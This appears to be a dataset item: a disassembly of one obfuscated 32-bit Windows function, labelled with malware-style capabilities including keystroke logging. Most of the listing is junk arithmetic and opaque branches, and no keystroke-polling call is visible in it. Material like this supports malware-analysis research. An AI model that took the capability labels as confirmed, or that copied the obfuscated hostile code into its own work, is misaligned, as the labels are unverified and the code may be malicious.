Function at 0x1000ae79
Capabilities:
Create pipe
Get file size
Get system information on windows
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100818f6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x109c
call fcn.10069a00
push esi
push edi
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x864], 0xffffffff
mov dword [ebp - 0x58], 0x647f1a96
mov dword [ebp - 0x14c], 0xe52509e7
push 3
lea ecx, [ebp - 0x8c0]
call fcn.100177e6
and dword [ebp - 4], 0
mov dword [ebp - 0xd48], 0xffffffff
mov dword [ebp - 0xe20], 0x6e30f4ae
mov dword [ebp - 0x614], 1
mov dword [ebp - 0xf0c], 0xffffffff
mov dword [ebp - 0xe28], 0xd47ebdcf
mov dword [ebp - 0x2c0], 0xa597
mov dword [ebp - 0x9cc], 0xac691c6c
mov dword [ebp - 0x9c], 0
jmp 0x1000af32
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jge 0x1000af54
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x8c0]
call fcn.10017853
mov dword [eax], 0xd5feaf86
jmp 0x1000af25
mov dword [ebp - 0x9c], 0
jmp 0x1000af6d
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jge 0x1000af89
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0xfb4], 0xdb06862e
jmp 0x1000af60
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0xfa4], eax
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x84], eax
jge 0x1000afaf
mov dword [ebp - 0x4e8], 1
jmp 0x1000afb6
and dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0x84]
cmp eax, dword [ebp - 0x4e8]
jge 0x1000afd0
mov dword [ebp - 0x8fc], 1
jmp 0x1000afd7
and dword [ebp - 0x8fc], 0
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0xe30], eax
mov eax, 0xf5d870a3
test eax, eax
jb 0x1000aff8
mov dword [ebp - 0x85c], 1
jmp 0x1000afff
and dword [ebp - 0x85c], 0
cmp dword [ebp - 0x85c], 0x2a3b3f36
jg 0x1000b017
mov dword [ebp - 0x86c], 1
jmp 0x1000b01e
and dword [ebp - 0x86c], 0
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x864], eax
mov eax, dword [ebp - 0x864]
cmp eax, dword [ebp - 0x86c]
je 0x1000b044
mov dword [ebp - 0x874], 1
jmp 0x1000b04b
and dword [ebp - 0x874], 0
mov eax, dword [ebp - 0x874]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x84], eax
jge 0x1000b077
mov eax, 0xb3e7
test eax, eax
je 0x1000b077
mov dword [ebp - 0x87c], 1
jmp 0x1000b07e
and dword [ebp - 0x87c], 0
mov eax, dword [ebp - 0x87c]
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x14c], 0
jmp 0x1000b0a3
mov eax, dword [ebp - 0x14c]
dec eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0xfffffff7
jg 0x1000b410
push 2
lea ecx, [ebp - 0xc20]
call fcn.100177e6
mov byte [ebp - 4], 1
push 3
lea ecx, [ebp - 0xc80]
call fcn.100177e6
mov byte [ebp - 4], 2
mov dword [ebp - 0x7c], 0
jmp 0x1000b0e2
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 2
jge 0x1000b0fe
push dword [ebp - 0x7c]
lea ecx, [ebp - 0xc20]
call fcn.10017853
mov dword [eax], 0x8d08f492
jmp 0x1000b0db
mov dword [ebp - 0x7c], 0
jmp 0x1000b10e
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 3
jge 0x1000b12a
push dword [ebp - 0x7c]
lea ecx, [ebp - 0xc80]
call fcn.10017853
mov dword [eax], 0x16971db9
jmp 0x1000b107
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x58], 0
jmp 0x1000b143
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 2
jg 0x1000b3ed
mov dword [ebp - 0x894], 0xfffffffe
push 2
lea ecx, [ebp - 0xe7c]
call fcn.100177e6
mov byte [ebp - 4], 3
mov dword [ebp - 0x9d4], 0xef54
push 3
lea ecx, [ebp - 0xcb0]
call fcn.100177e6
mov byte [ebp - 4], 4
mov dword [ebp - 0xa4], 0
jmp 0x1000b19c
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 2
jge 0x1000b1be
push dword [ebp - 0xa4]
lea ecx, [ebp - 0xe7c]
call fcn.10017853
mov dword [eax], 0xd594484f
jmp 0x1000b18f
mov dword [ebp - 0xa4], 0
jmp 0x1000b1d7
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 3
jge 0x1000b1f9
push dword [ebp - 0xa4]
lea ecx, [ebp - 0xcb0]
call fcn.10017853
mov dword [eax], 0xfa7bb34e
jmp 0x1000b1ca
push dword [ebp - 0x58]
lea ecx, [ebp - 0x8c0]
call fcn.10017853
mov esi, eax
push dword [ebp - 0x58]
lea ecx, [ebp - 0x8c0]
call fcn.10017853
mov ecx, dword [esi]
mov dword [eax], ecx
push dword [ebp - 0x58]
lea ecx, [ebp - 0x8c0]
call fcn.10017853
push dword [ebp - 0x58]
lea ecx, [ebp - 0x8c0]
call fcn.10017853
mov eax, dword [eax]
mov dword [ebp - 0x9bc], eax
mov eax, dword [ebp - 0x2c0]
mov dword [ebp - 0x9c4], eax
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
mov eax, dword [ebp - 0x9bc]
cmp eax, dword [ebp - 0x9c4]
jle 0x1000b272
mov dword [ebp - 0x268], 1
jmp 0x1000b279
and dword [ebp - 0x268], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x268]
mov dword [ebp + eax - 0xfb4], ecx
cmp dword [ebp - 0x268], 0
jne 0x1000b2c1
push 1
lea ecx, [ebp - 0xc20]
call fcn.10017853
mov esi, eax
push dword [ebp - 0x58]
lea ecx, [ebp - 0x8c0]
call fcn.10017853
mov ecx, dword [esi]
cmp ecx, dword [eax]
je 0x1000b2c1
and dword [ebp - 0x884], 0
jmp 0x1000b2cb
mov dword [ebp - 0x884], 1
mov eax, dword [ebp - 0x894]
cmp dword [ebp - 0x884], eax
je 0x1000b2e5
mov dword [ebp - 0x2fc], 1
jmp 0x1000b2ec
and dword [ebp - 0x2fc], 0
push 1
lea ecx, [ebp - 0xcb0]
call fcn.10017853
mov ecx, dword [ebp - 0x2fc]
mov dword [eax], ecx
cmp dword [ebp - 0x2fc], 0
jne 0x1000b325
push 2
lea ecx, [ebp - 0xc80]
call fcn.10017853
cmp dword [eax], 0
jne 0x1000b325
and dword [ebp - 0x88c], 0
jmp 0x1000b32f
mov dword [ebp - 0x88c], 1
mov eax, dword [ebp - 0x614]
cmp dword [ebp - 0x88c], eax
jl 0x1000b352
cmp dword [ebp - 0x894], 0
je 0x1000b352
mov dword [ebp - 0x89c], 1
jmp 0x1000b359
and dword [ebp - 0x89c], 0
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x89c], eax
jge 0x1000b373
mov dword [ebp - 0x848], 1
jmp 0x1000b37a
and dword [ebp - 0x848], 0
mov eax, dword [ebp - 0x9cc]
cmp dword [ebp - 0x848], eax
jne 0x1000b394
mov dword [ebp - 0x838], 1
jmp 0x1000b39b
and dword [ebp - 0x838], 0
cmp dword [ebp - 0x838], 1
jle 0x1000b3b0
mov dword [ebp - 0x364], 1
jmp 0x1000b3b7
and dword [ebp - 0x364], 0
mov eax, dword [ebp - 0x9d4]
imul eax, dword [ebp - 0x364]
mov dword [ebp - 0x614], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xcb0]
call fcn.1001784e
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xe7c]
call fcn.1001784e
jmp 0x1000b13c
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xc80]
call fcn.1001784e
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xc20]
call fcn.1001784e
jmp 0x1000b096
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8c0]
call fcn.1001784e
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0x108], 0xc07e17f7
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x76c], 0xfffffffa
mov dword [ebp - 0x37c], 8
push 2
lea ecx, [ebp - 0xc2c]
call fcn.100177e6
mov dword [ebp - 4], 5
mov dword [ebp - 0xf14], 0xfffa
mov dword [ebp - 0xac], 0
jmp 0x1000b488
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 3
jge 0x1000b4a4
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0xad8], 0
jmp 0x1000b47b
mov dword [ebp - 0xac], 0
jmp 0x1000b4bd
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 2
jge 0x1000b4df
push dword [ebp - 0xac]
lea ecx, [ebp - 0xc2c]
call fcn.10017853
mov dword [eax], 0x3147f59e
jmp 0x1000b4b0
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0xe38], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0xe40], eax
mov eax, 0x5927
test eax, eax
je 0x1000b515
cmp dword [ebp - 0x108], 0
je 0x1000b515
mov dword [ebp - 0x36c], 1
jmp 0x1000b51c
and dword [ebp - 0x36c], 0
mov eax, dword [ebp - 0x180]
add eax, dword [ebp - 0x36c]
mov dword [ebp - 0x76c], eax
mov eax, dword [ebp - 0x76c]
cmp dword [ebp - 0x108], eax
jge 0x1000b548
mov dword [ebp - 0x270], 1
jmp 0x1000b54f
and dword [ebp - 0x270], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x270]
mov dword [ebp + eax - 0xad8], ecx
mov eax, dword [ebp - 0x180]
add eax, dword [ebp - 0x270]
cmp eax, dword [ebp - 0x180]
jne 0x1000b582
mov dword [ebp - 0x374], 1
jmp 0x1000b589
and dword [ebp - 0x374], 0
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0x374], eax
jne 0x1000b5a3
mov dword [ebp - 0x61c], 1
jmp 0x1000b5aa
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0x61c]
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0x4255ebda
jle 0x1000b5ce
mov dword [ebp - 0xa2c], 1
jmp 0x1000b5d5
and dword [ebp - 0xa2c], 0
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0xe48], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xad8]
add eax, dword [ebp - 0x108]
cmp eax, 0xffffffff
ja 0x1000b605
mov dword [ebp - 0x2c8], 1
jmp 0x1000b60c
and dword [ebp - 0x2c8], 0
push 0
lea ecx, [ebp - 0xc2c]
call fcn.10017853
mov ecx, dword [ebp - 0x2c8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
cmp eax, dword [ebp - 0x2c8]
jge 0x1000b63b
mov dword [ebp - 0x818], 1
jmp 0x1000b642
and dword [ebp - 0x818], 0
imul eax, dword [ebp - 0x818], 3
add eax, 0x73598422
mov dword [ebp - 0x108], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov eax, dword [ebp + eax - 0xad8]
mov dword [ebp + ecx - 0xad8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc2c]
call fcn.1001784e
mov dword [ebp - 0x3ac], 0xffffffff
mov dword [ebp - 0x48], 0x647f1a96
mov dword [ebp - 0x228], 1
mov dword [ebp - 0xf1c], 0xffffffff
mov dword [ebp - 0xd24], 0xfffffffb
mov dword [ebp - 0xd2c], 0x69576881
mov dword [ebp - 0xf5c], 9
mov dword [ebp - 0xf58], 9
mov dword [ebp - 0xf54], 9
mov dword [ebp - 0xf50], 9
mov dword [ebp - 0xd34], 0x9b46
mov dword [ebp - 0x228], 0xfffffff0
jmp 0x1000b701
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 8
jl 0x1000b83d
mov dword [ebp - 0x1d8], 0xa12b57e8
mov dword [ebp - 0xd3c], 1
mov dword [ebp - 0xd44], 0xb64b5c6f
mov dword [ebp - 0xd4c], 0xfffffffd
mov dword [ebp - 0xd54], 0xa75a592c
mov dword [ebp - 0xd5c], 0xbae0fc36
mov dword [ebp - 0xd64], 0x678e045d
mov dword [ebp - 0xd6c], 0xffffffff
mov dword [ebp - 0x1d8], 0xffffffed
jmp 0x1000b777
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0xfffffff4
jl 0x1000b838
mov dword [ebp - 0xd74], 0x2c9cc141
mov dword [ebp - 0xd7c], 0xfa5f9c71
mov dword [ebp - 0xd84], 0x3f0d3ecf
push 2
lea ecx, [ebp - 0xe8c]
call fcn.100177e6
mov dword [ebp - 4], 6
mov dword [ebp - 0x384], 0xb7e2
mov dword [ebp - 0x210], 0
jmp 0x1000b7d9
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 2
jge 0x1000b7fb
push dword [ebp - 0x210]
lea ecx, [ebp - 0xe8c]
call fcn.10017853
mov dword [eax], 0xfffffff8
jmp 0x1000b7cc
mov eax, dword [ebp - 0x384]
dec eax
mov dword [ebp - 0x384], eax
mov byte [ebp - 0x144], 0
movzx eax, byte [ebp - 0x144]
test eax, eax
je 0x1000b824
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe8c]
call fcn.1001784e
jmp 0x1000b76a
jmp 0x1000b6f4
mov dword [ebp - 0x154], 0xe52509e7
push 1
lea ecx, [ebp - 0x8f8]
call fcn.100177e6
mov dword [ebp - 4], 7
mov dword [ebp - 0x70], 0
jmp 0x1000b86b
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 4
jge 0x1000b881
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x1024], 0xdc85
jmp 0x1000b864
mov dword [ebp - 0x70], 0
jmp 0x1000b891
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x1000b8ad
push dword [ebp - 0x70]
lea ecx, [ebp - 0x8f8]
call fcn.10017853
mov dword [eax], 0xe76f5020
jmp 0x1000b88a
push 0
lea ecx, [ebp - 0x8f8]
call fcn.10017853
mov dword [eax], 3
jmp 0x1000b8e6
push 0
lea ecx, [ebp - 0x8f8]
call fcn.10017853
mov dword [ebp - 0x624], eax
mov eax, dword [ebp - 0x624]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x624]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x8f8]
call fcn.10017853
cmp dword [eax], 0
jl 0x1000b942
push 0
lea ecx, [ebp - 0x8f8]
call fcn.10017853
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x1024], 0
je 0x1000b913
jmp 0x1000b942
mov byte [ebp - 0x141], 0
movzx eax, byte [ebp - 0x141]
test eax, eax
je 0x1000b940
push 0x2131
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
jmp 0x1000b8c2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8f8]
call fcn.1001784e
push 3
lea ecx, [ebp - 0x8a8]
call fcn.100177e6
mov dword [ebp - 4], 8
mov dword [ebp - 0xd8c], 0xffffffff
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x39c], 0
mov dword [ebp - 0xd94], 0xffffffff
mov dword [ebp - 0xd9c], 0
mov dword [ebp - 0xda4], 0x6524f204
mov dword [ebp - 0xb44], 1
mov dword [ebp - 0xb40], 1
mov dword [ebp - 0xb3c], 1
mov dword [ebp - 0xb38], 1
mov dword [ebp - 0x248], 1
mov dword [ebp - 0x1e0], 0
jmp 0x1000b9ec
mov eax, dword [ebp - 0x1e0]
dec eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0xffffffe7
jg 0x1000bb94
mov dword [ebp - 0xa34], 0xffffffff
mov dword [ebp - 0x81c], 0
mov dword [ebp - 0xdac], 0x12af04
mov dword [ebp - 0xdb4], 0x368a9017
mov dword [ebp - 0xdbc], 0xfffffffe
push 3
lea ecx, [ebp - 0xb08]
call fcn.100177e6
mov byte [ebp - 4], 9
mov dword [ebp - 0xdc4], 0x7e318b47
mov dword [ebp - 0xa3c], 0x69e8a28d
mov dword [ebp - 0x238], 0
jmp 0x1000ba69
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 3
jge 0x1000ba8b
push dword [ebp - 0x238]
lea ecx, [ebp - 0xb08]
call fcn.10017853
mov dword [eax], 0xa63a74ad
jmp 0x1000ba5c
cmp dword [ebp - 0xa34], 0
jne 0x1000bb00
mov eax, dword [ebp - 0x248]
dec eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 1
jl 0x1000bab6
mov dword [ebp - 0x38c], 1
jmp 0x1000babd
and dword [ebp - 0x38c], 0
mov esi, dword [ebp - 0xa3c]
imul esi, dword [ebp - 0x38c]
neg esi
push 1
lea ecx, [ebp - 0xb08]
call fcn.10017853
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xb44]
mov eax, dword [eax]
lea eax, [eax + ecx + 3]
imul eax, dword [ebp - 0x81c]
add esi, eax
jne 0x1000bb00
and dword [ebp - 0x774], 0
jmp 0x1000bb0a
mov dword [ebp - 0x774], 1
push 1
lea ecx, [ebp - 0xb08]
call fcn.10017853
mov ecx, dword [ebp - 0x774]
sub ecx, dword [eax]
add ecx, 0x2b29
cmp ecx, 0x2614f5c6
jl 0x1000bb39
mov dword [ebp - 0x394], 1
jmp 0x1000bb40
and dword [ebp - 0x394], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb44]
cmp dword [ebp - 0x394], eax
jl 0x1000bb61
mov dword [ebp - 0x62c], 1
jmp 0x1000bb68
and dword [ebp - 0x62c], 0
mov eax, dword [ebp - 0x62c]
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x81c], eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xb08]
call fcn.1001784e
jmp 0x1000b9df
mov dword [ebp - 0xdcc], 0x6e30f4ae
mov dword [ebp - 0x64c], 1
mov dword [ebp - 0xdd4], 0xffffffff
mov dword [ebp - 0xddc], 0xd47ebdcf
mov dword [ebp - 0x2f4], 0xa597
mov dword [ebp - 0xa5c], 0xac691c6c
mov dword [ebp - 0xb4], 0
jmp 0x1000bbe9
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 3
jge 0x1000bc0b
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x8a8]
call fcn.10017853
mov dword [eax], 0xd5feaf86
jmp 0x1000bbdc
mov dword [ebp - 0xb4], 0
jmp 0x1000bc24
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 3
jge 0x1000bc40
mov eax, dword [ebp - 0xb4]
mov dword [ebp + eax*4 - 0xfd8], 0xdb06862e
jmp 0x1000bc17
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xde4], eax
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0xb8], eax
jge 0x1000bc66
mov dword [ebp - 0x3a4], 1
jmp 0x1000bc6d
and dword [ebp - 0x3a4], 0
mov eax, dword [ebp - 0xb8]
cmp eax, dword [ebp - 0x3a4]
jge 0x1000bc87
mov dword [ebp - 0xa44], 1
jmp 0x1000bc8e
and dword [ebp - 0xa44], 0
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xdec], eax
mov eax, 0xf5d870a3
test eax, eax
jb 0x1000bcaf
mov dword [ebp - 0x634], 1
jmp 0x1000bcb6
and dword [ebp - 0x634], 0
cmp dword [ebp - 0x634], 0x2a3b3f36
jg 0x1000bcce
mov dword [ebp - 0x77c], 1
jmp 0x1000bcd5
and dword [ebp - 0x77c], 0
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp - 0x3ac]
cmp eax, dword [ebp - 0x77c]
je 0x1000bcfb
mov dword [ebp - 0x3b4], 1
jmp 0x1000bd02
and dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x3b4]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0xb8], eax
jge 0x1000bd2e
mov eax, 0xb3e7
test eax, eax
je 0x1000bd2e
mov dword [ebp - 0x63c], 1
jmp 0x1000bd35
and dword [ebp - 0x63c], 0
mov eax, dword [ebp - 0x63c]
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x154], 0
jmp 0x1000bd5a
mov eax, dword [ebp - 0x154]
dec eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xfffffff7
jg 0x1000c0e5
push 2
lea ecx, [ebp - 0xc74]
call fcn.100177e6
mov byte [ebp - 4], 0xa
push 3
lea ecx, [ebp - 0xc5c]
call fcn.100177e6
mov byte [ebp - 4], 0xb
mov dword [ebp - 0xd0], 0
jmp 0x1000bda2
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 2
jge 0x1000bdc4
push dword [ebp - 0xd0]
lea ecx, [ebp - 0xc74]
call fcn.10017853
mov dword [eax], 0x8d08f492
jmp 0x1000bd95
mov dword [ebp - 0xd0], 0
jmp 0x1000bddd
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 3
jge 0x1000bdff
push dword [ebp - 0xd0]
lea ecx, [ebp - 0xc5c]
call fcn.10017853
mov dword [eax], 0x16971db9
jmp 0x1000bdd0
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x48], 0
jmp 0x1000be18
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jg 0x1000c0c2
mov dword [ebp - 0x3c4], 0xfffffffe
push 2
lea ecx, [ebp - 0xe9c]
call fcn.100177e6
mov byte [ebp - 4], 0xc
mov dword [ebp - 0xa64], 0xef54
push 3
lea ecx, [ebp - 0xc68]
call fcn.100177e6
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x98], 0
jmp 0x1000be71
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 2
jge 0x1000be93
push dword [ebp - 0x98]
lea ecx, [ebp - 0xe9c]
call fcn.10017853
mov dword [eax], 0xd594484f
jmp 0x1000be64
mov dword [ebp - 0x98], 0
jmp 0x1000beac
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 3
jge 0x1000bece
push dword [ebp - 0x98]
lea ecx, [ebp - 0xc68]
call fcn.10017853
mov dword [eax], 0xfa7bb34e
jmp 0x1000be9f
push dword [ebp - 0x48]
lea ecx, [ebp - 0x8a8]
call fcn.10017853
mov esi, eax
push dword [ebp - 0x48]
lea ecx, [ebp - 0x8a8]
call fcn.10017853
mov ecx, dword [esi]
mov dword [eax], ecx
push dword [ebp - 0x48]
lea ecx, [ebp - 0x8a8]
call fcn.10017853
push dword [ebp - 0x48]
lea ecx, [ebp - 0x8a8]
call fcn.10017853
mov eax, dword [eax]
mov dword [ebp - 0xa4c], eax
mov eax, dword [ebp - 0x2f4]
mov dword [ebp - 0xa54], eax
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
mov eax, dword [ebp - 0xa4c]
cmp eax, dword [ebp - 0xa54]
jle 0x1000bf47
mov dword [ebp - 0x280], 1
jmp 0x1000bf4e
and dword [ebp - 0x280], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x280]
mov dword [ebp + eax - 0xfd8], ecx
cmp dword [ebp - 0x280], 0
jne 0x1000bf96
push 1
lea ecx, [ebp - 0xc74]
call fcn.10017853
mov esi, eax
push dword [ebp - 0x48]
lea ecx, [ebp - 0x8a8]
call fcn.10017853
mov ecx, dword [esi]
cmp ecx, dword [eax]
je 0x1000bf96
and dword [ebp - 0x3bc], 0
jmp 0x1000bfa0
mov dword [ebp - 0x3bc], 1
mov eax, dword [ebp - 0x3c4]
cmp dword [ebp - 0x3bc], eax
je 0x1000bfba
mov dword [ebp - 0x2d0], 1
jmp 0x1000bfc1
and dword [ebp - 0x2d0], 0
push 1
lea ecx, [ebp - 0xc68]
call fcn.10017853
mov ecx, dword [ebp - 0x2d0]
mov dword [eax], ecx
cmp dword [ebp - 0x2d0], 0
jne 0x1000bffa
push 2
lea ecx, [ebp - 0xc5c]
call fcn.10017853
cmp dword [eax], 0
jne 0x1000bffa
and dword [ebp - 0x868], 0
jmp 0x1000c004
mov dword [ebp - 0x868], 1
mov eax, dword [ebp - 0x64c]
cmp dword [ebp - 0x868], eax
jl 0x1000c027
cmp dword [ebp - 0x3c4], 0
je 0x1000c027
mov dword [ebp - 0x644], 1
jmp 0x1000c02e
and dword [ebp - 0x644], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x644], eax
jge 0x1000c048
mov dword [ebp - 0x3cc], 1
jmp 0x1000c04f
and dword [ebp - 0x3cc], 0
mov eax, dword [ebp - 0xa5c]
cmp dword [ebp - 0x3cc], eax
jne 0x1000c069
mov dword [ebp - 0x784], 1
jmp 0x1000c070
and dword [ebp - 0x784], 0
cmp dword [ebp - 0x784], 1
jle 0x1000c085
mov dword [ebp - 0x3d4], 1
jmp 0x1000c08c
and dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0xa64]
imul eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x64c], eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xc68]
call fcn.1001784e
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xe9c]
call fcn.1001784e
jmp 0x1000be11
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xc5c]
call fcn.1001784e
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xc74]
call fcn.1001784e
jmp 0x1000bd4d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8a8]
call fcn.1001784e
mov dword [ebp - 0x10c], 0xfffffffd
mov dword [ebp - 0x824], 7
mov dword [ebp - 0x3e4], 0xf7e44142
mov dword [ebp - 0x78c], 0xfff7
mov dword [ebp - 0x170], 0xffffffff
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0xdf4], eax
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0xdfc], eax
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0xe04], eax
cmp dword [ebp - 0x10c], 0
jne 0x1000c163
push 9
pop eax
test eax, eax
jne 0x1000c163
and dword [ebp - 0x3dc], 0
jmp 0x1000c16d
mov dword [ebp - 0x3dc], 1
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x824], eax
mov eax, 0x1e6e2bfb
sub eax, dword [ebp - 0x824]
imul eax, eax, 0xf1fd
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 0
je 0x1000c1ae
mov eax, 0xffff
test eax, eax
je 0x1000c1ae
mov dword [ebp - 0x654], 1
jmp 0x1000c1b5
and dword [ebp - 0x654], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x654], eax
jge 0x1000c1cf
mov dword [ebp - 0x3ec], 1
jmp 0x1000c1d6
and dword [ebp - 0x3ec], 0
mov eax, dword [ebp - 0x78c]
imul eax, dword [ebp - 0x3ec]
cmp eax, dword [ebp - 0x78c]
je 0x1000c1f7
mov dword [ebp - 0x3f4], 1
jmp 0x1000c1fe
and dword [ebp - 0x3f4], 0
cmp dword [ebp - 0x3f4], 0xffffffff
jl 0x1000c213
mov dword [ebp - 0x65c], 1
jmp 0x1000c21a
and dword [ebp - 0x65c], 0
mov eax, dword [ebp - 0x65c]
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x170]
add eax, 0xe584
cmp eax, 0x8cb6
jg 0x1000c244
mov dword [ebp - 0x3fc], 1
jmp 0x1000c24b
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0x3fc]
jg 0x1000c265
mov dword [ebp - 0x890], 1
jmp 0x1000c26c
and dword [ebp - 0x890], 0
mov eax, dword [ebp - 0x890]
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x170], 0
jmp 0x1000c291
mov eax, dword [ebp - 0x170]
dec eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0xfffffff8
jne 0x1000c2d2
mov dword [ebp - 0x404], 0x4179
